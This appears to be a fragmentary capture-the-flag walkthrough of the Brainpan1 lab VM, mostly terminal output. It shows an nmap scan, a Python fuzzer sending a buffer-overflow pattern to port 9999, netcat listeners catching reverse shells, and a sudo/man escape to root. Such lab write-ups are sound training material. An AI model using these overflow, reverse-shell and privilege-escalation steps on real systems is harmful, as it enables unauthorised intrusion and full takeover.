root@kali:~# nmap -sn -v 192.168.56.0/24 Nmap scan report for 192.168.56.115 Host is up (0.00042s latency). MAC Address: 08:00:27:DE:BA:CA (Oracle VirtualBox virtual NIC)
root@kali:~# nmap -p- -v -Pn -sV 192.168.56.115 PORT STATE SERVICE VERSION 9999/tcp open abyss? 10000/tcp open http SimpleHTTPServer 0.6 (Python 2.7.3)
C:\Users\HASEE\Desktop\brainpan1>python etfuzz.py [-] Connecting to 192.168.43.98 [-] Sending payload.... Done
1 2 3 4 5 6 7 8
C:\Users\HASEE\Desktop\brainpan1>brainpan.exe [+] initializing winsock...done. [+] server socket created. [+] binddone on port 9999 [+] waiting for connections. [+] received connection. [get_reply] s = [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B" payload = junk s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: print"[-] Connecting to " + str(victim) s.connect((victim, port)) s.recv(1024) # Send payload print"[-] Sending payload.... ", s.send(payload) print"Done" except: print"[-] Unable to connect to " + str(victim) sys.exit(0)
下一步。重新启动brainpan.exe进程,重新附加到进程,然后将模糊测试脚本发送给侦听器。
1 2 3
C:\Users\HASEE\Desktop\brainpan1>python etfuzz.py [-] Connecting to 192.168.43.98 [-] Sending payload.... Done
1 2 3 4 5 6 7 8
C:\Users\HASEE\Desktop\brainpan1>brainpan.exe [+] initializing winsock...done. [+] server socket created. [+] binddone on port 9999 [+] waiting for connections. [+] received connection. [get_reply] s = [Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8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f7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B(_] [get_reply] copied 1003 bytes to buffer
root@kali:~# nc -lvp 443 listening on [any] 443 ... 192.168.56.1: inverse host lookup failed: Host name lookup failure connect to [192.168.56.102] from (UNKNOWN) [192.168.56.1] 18602 Microsoft Windows [�汾 10.0.18363.592] (c) 2019 Microsoft Corporation����������Ȩ����
C:\Users\HASEE\Desktop\brainpan1>chcp 65001 chcp 65001 Active code page: 65001
root@kali:~# nc -lvp 443 listening on [any] 443 ... 192.168.56.115: inverse host lookup failed: Host name lookup failure connect to [192.168.56.102] from (UNKNOWN) [192.168.56.115] 39737 id uid=1002(puck) gid=1002(puck) groups=1002(puck) python -c 'import pty; pty.spawn("/bin/bash")' puck@brainpan:/home/puck$ id id uid=1002(puck) gid=1002(puck) groups=1002(puck) puck@brainpan:/home/puck$ whoami whoami puck puck@brainpan:/home/puck$ ls ls checksrv.sh web puck@brainpan:/home/puck$
puck@brainpan:/home$ sudo /home/anansi/bin/anansi_util manual /bin/bash sudo /home/anansi/bin/anansi_util manual /bin/bash /usr/bin/man: manual-/bin/bash: No such file or directory /usr/bin/man: manual_/bin/bash: No such file or directory No manual entry for manual WARNING: terminal is not fully functional - (press RETURN) BASH(1) BASH(1)
NAME bash - GNU Bourne-Again SHell
SYNOPSIS bash [options] [file]
COPYRIGHT Bash is Copyright (C) 1989-2011 by the Free Software Foundation, Inc.
DESCRIPTION Bash is an sh-compatible command language interpreter that executes commands read from the standard input or from a file. Bash also incor‐ porates useful features from the Korn and C shells (ksh and csh).
Bash is intended to be a conformant implementation of the Shell and Utilities portion of the IEEE POSIX specification (IEEE Standard 1003.1). Bash can be configured to be POSIX-conformant by default.
OPTIONS All of the single-character shell options documented in the descrip‐ tion of the setbuiltincommand can be used as options when the shell Manual page bash(1) line 1 (press h forhelp or q to quit)!/bin/bash !/bin/bash root@brainpan:/usr/share/man# id id uid=0(root) gid=0(root) groups=0(root) root@brainpan:/usr/share/man# whoami whoami root root@brainpan:/usr/share/man# cd /root cd /root root@brainpan:~# ls ls b.txt root@brainpan:~# cat b.txt cat b.txt _| _| _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| _| _| _|_| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _| _| _|